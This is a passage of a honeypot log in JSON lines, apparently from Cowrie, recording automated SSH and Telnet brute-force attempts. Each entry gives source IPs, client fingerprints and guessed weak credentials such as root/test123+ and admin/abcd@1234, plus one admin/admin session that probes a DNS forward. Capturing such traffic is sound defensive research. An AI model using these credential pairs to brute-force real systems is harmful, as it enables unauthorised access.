fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:34.385008Z","src_ip":"87.106.29.151","session":"6abe1cec7eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:34.723552Z","src_ip":"20.82.144.240","session":"e8d6cdf545ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"download","password":"test","message":"login attempt [download/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:34.790237Z","src_ip":"87.106.29.151","session":"6abe1cec7eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:35.886832Z","src_ip":"87.106.29.151","session":"6abe1cec7eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":48846,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef92d33b17d1","protocol":"ssh","message":"New connection: 87.106.29.151:48846 (10.17.0.5:22) [session: ef92d33b17d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:21.787505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:21.792094Z","src_ip":"87.106.29.151","session":"ef92d33b17d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:21.887734Z","src_ip":"87.106.29.151","session":"ef92d33b17d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123+","message":"login attempt [root/test123+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:22.293715Z","src_ip":"87.106.29.151","session":"ef92d33b17d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:23.390591Z","src_ip":"87.106.29.151","session":"ef92d33b17d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":34964,"dst_ip":"10.17.0.5","dst_port":22,"session":"981c15ade58e","protocol":"ssh","message":"New connection: 138.124.158.150:34964 (10.17.0.5:22) [session: 981c15ade58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:23.788468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:23.793440Z","src_ip":"138.124.158.150","session":"981c15ade58e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:23.967870Z","src_ip":"138.124.158.150","session":"981c15ade58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd@1234","message":"login attempt [admin/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:24.697012Z","src_ip":"138.124.158.150","session":"981c15ade58e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:26.466357Z","src_ip":"138.124.158.150","session":"981c15ade58e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":44082,"dst_ip":"159.203.135.109","dst_port":22,"session":"046c4bac1ddb","protocol":"ssh","message":"New connection: 20.82.144.240:44082 (159.203.135.109:22) [session: 046c4bac1ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:31.137645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:31.142799Z","src_ip":"20.82.144.240","session":"046c4bac1ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:31.213950Z","src_ip":"20.82.144.240","session":"046c4bac1ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"12345","message":"login attempt [test1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:31.513390Z","src_ip":"20.82.144.240","session":"046c4bac1ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:32.585189Z","src_ip":"20.82.144.240","session":"046c4bac1ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":44054,"dst_ip":"159.203.135.109","dst_port":23,"session":"7593c8679c41","protocol":"telnet","message":"New connection: 166.62.41.96:44054 (159.203.135.109:23) [session: 7593c8679c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:48.747576Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17236,"dst_ip":"10.17.0.5","dst_port":22,"session":"b87aab423de7","protocol":"ssh","message":"New connection: 87.251.64.176:17236 (10.17.0.5:22) [session: b87aab423de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:56.418425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:56.423581Z","src_ip":"87.251.64.176","session":"b87aab423de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:56.519779Z","src_ip":"87.251.64.176","session":"b87aab423de7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:56.808228Z","src_ip":"87.251.64.176","session":"b87aab423de7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:56.909698Z","session":"b87aab423de7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:57.007209Z","src_ip":"87.251.64.176","session":"b87aab423de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:48:57.111413Z","src_ip":"87.251.64.176","session":"b87aab423de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51486,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b5a121f7145","protocol":"ssh","message":"New connection: 2.57.122.208:51486 (159.203.135.109:22) [session: 7b5a121f7145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:07.330993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:07.425736Z","src_ip":"2.57.122.208","session":"7b5a121f7145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:07.530295Z","src_ip":"2.57.122.208","session":"7b5a121f7145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:08.230255Z","src_ip":"2.57.122.208","session":"7b5a121f7145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":60934,"dst_ip":"10.17.0.5","dst_port":22,"session":"b26403a95edf","protocol":"ssh","message":"New connection: 87.106.29.151:60934 (10.17.0.5:22) [session: b26403a95edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:09.122796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:09.127787Z","src_ip":"87.106.29.151","session":"b26403a95edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:09.221623Z","src_ip":"87.106.29.151","session":"b26403a95edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:09.525997Z","src_ip":"2.57.122.208","session":"7b5a121f7145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian@123","message":"login attempt [debian/debian@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:09.629371Z","src_ip":"87.106.29.151","session":"b26403a95edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:10.730376Z","src_ip":"87.106.29.151","session":"b26403a95edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.371237754821777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:19.118706Z","src_ip":"166.62.41.96","session":"7593c8679c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":55711,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa6faf03a33a","protocol":"telnet","message":"New connection: 212.55.149.117:55711 (10.17.0.5:23) [session: aa6faf03a33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:28.795977Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":32824,"dst_ip":"159.203.135.109","dst_port":22,"session":"3969344d2029","protocol":"ssh","message":"New connection: 20.82.144.240:32824 (159.203.135.109:22) [session: 3969344d2029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:29.922340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:29.927061Z","src_ip":"20.82.144.240","session":"3969344d2029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:29.994460Z","src_ip":"20.82.144.240","session":"3969344d2029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysuser","password":"P@ssw0rd","message":"login attempt [sysuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:30.296137Z","src_ip":"20.82.144.240","session":"3969344d2029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:31.368444Z","src_ip":"20.82.144.240","session":"3969344d2029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":54786,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a0a1f7029d","protocol":"telnet","message":"New connection: 166.62.41.96:54786 (159.203.135.109:23) [session: b8a0a1f7029d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:36.880997Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":60730,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bd86e97b067","protocol":"ssh","message":"New connection: 138.124.158.150:60730 (10.17.0.5:22) [session: 5bd86e97b067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:53.483620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:53.491695Z","src_ip":"138.124.158.150","session":"5bd86e97b067","protocol":"ssh"}
